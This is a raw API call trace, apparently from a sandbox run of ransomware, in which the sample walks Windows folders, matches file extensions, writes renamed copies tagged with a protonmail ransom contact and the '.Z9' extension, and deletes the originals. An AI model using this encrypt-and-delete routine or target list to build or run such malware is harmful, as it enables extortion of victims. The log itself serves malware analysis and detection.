	[0188.044] lstrlenW (lpString=".bz2") returned 4
	[0188.044] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0188.044] lstrlenW (lpString=".7z") returned 3
	[0188.044] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0188.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0188.044] lstrlenW (lpString=".dbf") returned 4
	[0188.044] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0188.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0188.044] lstrlenW (lpString=".1cd") returned 4
	[0188.044] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0188.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0188.044] lstrlenW (lpString=".jpg") returned 4
	[0188.044] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0188.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0188.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0188.044] lstrlenW (lpString=".doc") returned 4
	[0188.044] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0188.044] lstrlenW (lpString=".docx") returned 5
	[0188.044] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0188.044] lstrlenW (lpString=".pdf") returned 4
	[0188.044] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0188.045] lstrlenW (lpString=".xls") returned 4
	[0188.045] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0188.045] lstrlenW (lpString=".xlsx") returned 5
	[0188.045] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0188.045] lstrlenW (lpString=".ppt") returned 4
	[0188.045] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0188.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0188.045] lstrlenW (lpString=".zip") returned 4
	[0188.045] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0188.045] lstrlenW (lpString=".rar") returned 4
	[0188.045] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0188.045] lstrlenW (lpString=".bz2") returned 4
	[0188.045] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0188.045] lstrlenW (lpString=".7z") returned 3
	[0188.045] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0188.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0188.045] lstrlenW (lpString=".dbf") returned 4
	[0188.045] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0188.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0188.045] lstrlenW (lpString=".1cd") returned 4
	[0188.045] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0188.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-pl.xrm-ms") returned 87
	[0188.045] lstrlenW (lpString=".jpg") returned 4
	[0188.045] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0188.045] lstrcmpiW (lpString1=".xrm-ms", lpString2=".Z9") returned -1
	[0188.045] lstrlenW (lpString="O365HomePremR_SubTest1-pl.xrm-ms") returned 32
	[0188.045] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0188.046] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x336ff14 | out: lpFileSize=0x336ff14*=11179) returned 1
	[0188.046] CloseHandle (hObject=0x390) returned 1
	[0188.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms")) returned 0x220
	[0188.046] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0188.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0188.047] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.047] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0188.048] GetLastError () returned 0x0
	[0188.048] ReadFile (in: hFile=0x390, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x2bab, lpOverlapped=0x0) returned 1
	[0188.057] WriteFile (in: hFile=0x30c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x2bb0, lpOverlapped=0x0) returned 1
	[0188.058] ReadFile (in: hFile=0x390, lpBuffer=0x3d9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesRead=0x336fecc*=0x0, lpOverlapped=0x0) returned 1
	[0188.058] WriteFile (in: hFile=0x30c, lpBuffer=0x3d9c020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x336fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d9c020*, lpNumberOfBytesWritten=0x336fc94*=0x114, lpOverlapped=0x0) returned 1
	[0188.058] SetEndOfFile (hFile=0x30c) returned 1
	[0188.283] CloseHandle (hObject=0x30c) returned 1
	[0188.379] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec0 | out: lpNewFilePointer=0x0) returned 1
	[0188.379] SetEndOfFile (hFile=0x390) returned 1
	[0188.382] CloseHandle (hObject=0x390) returned 1
	[0188.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0188.383] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms")) returned 1
	[0188.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0188.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0188.385] lstrlenW (lpString=".doc") returned 4
	[0188.385] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0188.385] lstrlenW (lpString=".docx") returned 5
	[0188.385] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0188.385] lstrlenW (lpString=".pdf") returned 4
	[0188.385] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0188.385] lstrlenW (lpString=".xls") returned 4
	[0188.385] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0188.385] lstrlenW (lpString=".xlsx") returned 5
	[0188.385] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0188.385] lstrlenW (lpString=".ppt") returned 4
	[0188.385] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0188.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0188.385] lstrlenW (lpString=".zip") returned 4
	[0188.385] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0188.385] lstrlenW (lpString=".rar") returned 4
	[0188.385] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0188.385] lstrlenW (lpString=".bz2") returned 4
	[0188.385] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0188.385] lstrlenW (lpString=".7z") returned 3
	[0188.385] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0188.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0188.385] lstrlenW (lpString=".dbf") returned 4
	[0188.385] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0188.385] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0188.385] lstrlenW (lpString=".1cd") returned 4
	[0188.386] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0188.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0188.386] lstrlenW (lpString=".jpg") returned 4
	[0188.386] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0188.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0188.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0188.386] lstrlenW (lpString=".doc") returned 4
	[0188.386] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0188.386] lstrlenW (lpString=".docx") returned 5
	[0188.386] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0188.386] lstrlenW (lpString=".pdf") returned 4
	[0188.386] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0188.386] lstrlenW (lpString=".xls") returned 4
	[0188.386] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0188.386] lstrlenW (lpString=".xlsx") returned 5
	[0188.386] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0188.386] lstrlenW (lpString=".ppt") returned 4
	[0188.386] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0188.386] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0188.386] lstrlenW (lpString=".zip") returned 4
	[0188.386] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0188.386] lstrlenW (lpString=".rar") returned 4
	[0188.386] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0188.387] lstrlenW (lpString=".bz2") returned 4
	[0188.387] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0188.387] lstrlenW (lpString=".7z") returned 3
	[0188.387] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0188.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0188.387] lstrlenW (lpString=".dbf") returned 4
	[0188.387] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0188.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0188.387] lstrlenW (lpString=".1cd") returned 4
	[0188.387] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0188.387] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82
	[0188.387] lstrlenW (lpString=".jpg") returned 4
	[0188.387] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0188.387] lstrlenW (lpString=".id-") returned 4
	[0188.387] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7701f8 | out: hHeap=0x710000) returned 1
	[0188.387] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x7ad908 | out: hHeap=0x710000) returned 1
	[0188.387] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38e0978 | out: hHeap=0x710000) returned 1
	[0188.388] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x38f0980 | out: hHeap=0x710000) returned 1
	[0188.390] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3d9c020 | out: hHeap=0x710000) returned 1
	[0188.395] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x76ffb8 | out: hHeap=0x710000) returned 1
	[0188.395] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068e20
	[0188.395] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068e20, Size=0x20) returned 0x3929fe8
	[0188.395] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x4068dd8
	[0188.395] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x4068dd8, Size=0x20) returned 0x392a128
	[0188.395] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0188.395] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0188.395] Wow64DisableWow64FsRedirection (in: OldValue=0x336ff50 | out: OldValue=0x336ff50*=0x1) returned 1
	[0188.395] lstrlenW (lpString="kernel32.dll") returned 12
	[0188.395] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x392a128 | out: hHeap=0x710000) returned 1
	[0188.395] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0188.395] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x3929fe8 | out: hHeap=0x710000) returned 1

Thread:
	id = 47
	os_tid = 0xda4

	[0159.668] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x3900988
	[0159.669] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10000) returned 0x3910990
	[0159.703] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x76ffd0
	[0159.703] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x6) returned 0x7ad958
	[0159.703] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x770210
	[0159.703] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x100000) returned 0x3ea0020
	[0159.707] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x770180
	[0159.707] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x770180, Size=0x20) returned 0x74f350
	[0159.707] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x770000
	[0159.707] RtlReAllocateHeap (Heap=0x710000, Flags=0x0, Ptr=0x770000, Size=0x20) returned 0x74f288
	[0159.707] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77030000
	[0159.708] GetProcAddress (hModule=0x77030000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x77046b30
	[0159.708] Wow64DisableWow64FsRedirection (in: OldValue=0x34aff50 | out: OldValue=0x34aff50*=0x0) returned 1
	[0159.708] lstrlenW (lpString="kernel32.dll") returned 12
	[0159.708] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f350 | out: hHeap=0x710000) returned 1
	[0159.708] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30
	[0159.708] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x74f288 | out: hHeap=0x710000) returned 1
	[0159.708] Sleep (dwMilliseconds=0x64) 
	[0160.408] Sleep (dwMilliseconds=0x64) 
	[0160.641] Sleep (dwMilliseconds=0x64) 
	[0161.002] lstrcmpiW (lpString1=".sys", lpString2=".Z9") returned -1
	[0161.002] lstrlenW (lpString="pagefile.sys") returned 12
	[0161.002] CreateFileW (lpFileName="C:\\pagefile.sys" (normalized: "c:\\pagefile.sys"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.123] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0161.123] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0161.123] lstrlenW (lpString=".doc") returned 4
	[0161.123] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0161.123] lstrlenW (lpString=".docx") returned 5
	[0161.123] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1
	[0161.123] lstrlenW (lpString=".pdf") returned 4
	[0161.123] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0161.123] lstrlenW (lpString=".xls") returned 4
	[0161.123] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0161.124] lstrlenW (lpString=".xlsx") returned 5
	[0161.124] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1
	[0161.124] lstrlenW (lpString=".ppt") returned 4
	[0161.124] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0161.124] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0161.124] lstrlenW (lpString=".zip") returned 4
	[0161.124] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0161.124] lstrlenW (lpString=".rar") returned 4
	[0161.124] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0161.124] lstrlenW (lpString=".bz2") returned 4
	[0161.124] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0161.124] lstrlenW (lpString=".7z") returned 3
	[0161.124] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0161.124] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0161.124] lstrlenW (lpString=".dbf") returned 4
	[0161.124] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0161.124] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0161.124] lstrlenW (lpString=".1cd") returned 4
	[0161.124] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0161.124] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0161.124] lstrlenW (lpString=".jpg") returned 4
	[0161.124] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0161.124] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0161.124] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0161.124] lstrlenW (lpString=".doc") returned 4
	[0161.124] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0161.124] lstrlenW (lpString=".docx") returned 5
	[0161.124] lstrcmpiW (lpString1=".docx", lpString2="e.sys") returned -1
	[0161.124] lstrlenW (lpString=".pdf") returned 4
	[0161.124] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0161.124] lstrlenW (lpString=".xls") returned 4
	[0161.124] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0161.124] lstrlenW (lpString=".xlsx") returned 5
	[0161.124] lstrcmpiW (lpString1=".xlsx", lpString2="e.sys") returned -1
	[0161.124] lstrlenW (lpString=".ppt") returned 4
	[0161.124] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0161.125] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0161.125] lstrlenW (lpString=".zip") returned 4
	[0161.125] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0161.125] lstrlenW (lpString=".rar") returned 4
	[0161.125] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0161.125] lstrlenW (lpString=".bz2") returned 4
	[0161.125] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0161.125] lstrlenW (lpString=".7z") returned 3
	[0161.125] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0161.125] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0161.125] lstrlenW (lpString=".dbf") returned 4
	[0161.125] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0161.125] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0161.125] lstrlenW (lpString=".1cd") returned 4
	[0161.125] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0161.125] lstrlenW (lpString="C:\\pagefile.sys") returned 15
	[0161.125] lstrlenW (lpString=".jpg") returned 4
	[0161.125] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0161.125] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0161.125] lstrlenW (lpString="aldelo.exe") returned 10
	[0161.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\aldelo.exe" (normalized: "c:\\program files\\common files\\aldelo.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0161.227] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=78336) returned 1
	[0161.227] CloseHandle (hObject=0x380) returned 1
	[0161.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\aldelo.exe" (normalized: "c:\\program files\\common files\\aldelo.exe")) returned 0x20
	[0161.227] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\aldelo.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\aldelo.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0161.227] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\aldelo.exe" (normalized: "c:\\program files\\common files\\aldelo.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0161.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0161.227] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0161.227] lstrlenW (lpString=".doc") returned 4
	[0161.227] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0161.227] lstrlenW (lpString=".docx") returned 5
	[0161.227] lstrcmpiW (lpString1=".docx", lpString2="o.exe") returned -1
	[0161.227] lstrlenW (lpString=".pdf") returned 4
	[0161.227] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0161.228] lstrlenW (lpString=".xls") returned 4
	[0161.228] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0161.228] lstrlenW (lpString=".xlsx") returned 5
	[0161.228] lstrcmpiW (lpString1=".xlsx", lpString2="o.exe") returned -1
	[0161.228] lstrlenW (lpString=".ppt") returned 4
	[0161.228] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0161.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0161.228] lstrlenW (lpString=".zip") returned 4
	[0161.228] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0161.228] lstrlenW (lpString=".rar") returned 4
	[0161.228] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0161.228] lstrlenW (lpString=".bz2") returned 4
	[0161.228] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0161.228] lstrlenW (lpString=".7z") returned 3
	[0161.228] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0161.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0161.228] lstrlenW (lpString=".dbf") returned 4
	[0161.228] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0161.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0161.228] lstrlenW (lpString=".1cd") returned 4
	[0161.228] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0161.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0161.228] lstrlenW (lpString=".jpg") returned 4
	[0161.228] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0161.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0161.228] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0161.228] lstrlenW (lpString=".doc") returned 4
	[0161.228] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0161.228] lstrlenW (lpString=".docx") returned 5
	[0161.228] lstrcmpiW (lpString1=".docx", lpString2="o.exe") returned -1
	[0161.228] lstrlenW (lpString=".pdf") returned 4
	[0161.228] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0161.228] lstrlenW (lpString=".xls") returned 4
	[0161.228] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0161.228] lstrlenW (lpString=".xlsx") returned 5
	[0161.228] lstrcmpiW (lpString1=".xlsx", lpString2="o.exe") returned -1
	[0161.229] lstrlenW (lpString=".ppt") returned 4
	[0161.229] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0161.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0161.229] lstrlenW (lpString=".zip") returned 4
	[0161.229] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0161.229] lstrlenW (lpString=".rar") returned 4
	[0161.229] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0161.229] lstrlenW (lpString=".bz2") returned 4
	[0161.229] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0161.229] lstrlenW (lpString=".7z") returned 3
	[0161.229] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0161.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0161.229] lstrlenW (lpString=".dbf") returned 4
	[0161.229] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0161.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0161.229] lstrlenW (lpString=".1cd") returned 4
	[0161.229] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0161.229] lstrlenW (lpString="C:\\Program Files\\Common Files\\aldelo.exe") returned 40
	[0161.229] lstrlenW (lpString=".jpg") returned 4
	[0161.229] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0161.229] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0161.229] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0161.229] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\joan packages omissions.exe" (normalized: "c:\\program files\\common files\\joan packages omissions.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0161.233] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x34aff14 | out: lpFileSize=0x34aff14*=78336) returned 1
	[0161.233] CloseHandle (hObject=0x380) returned 1
	[0161.233] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\joan packages omissions.exe" (normalized: "c:\\program files\\common files\\joan packages omissions.exe")) returned 0x20
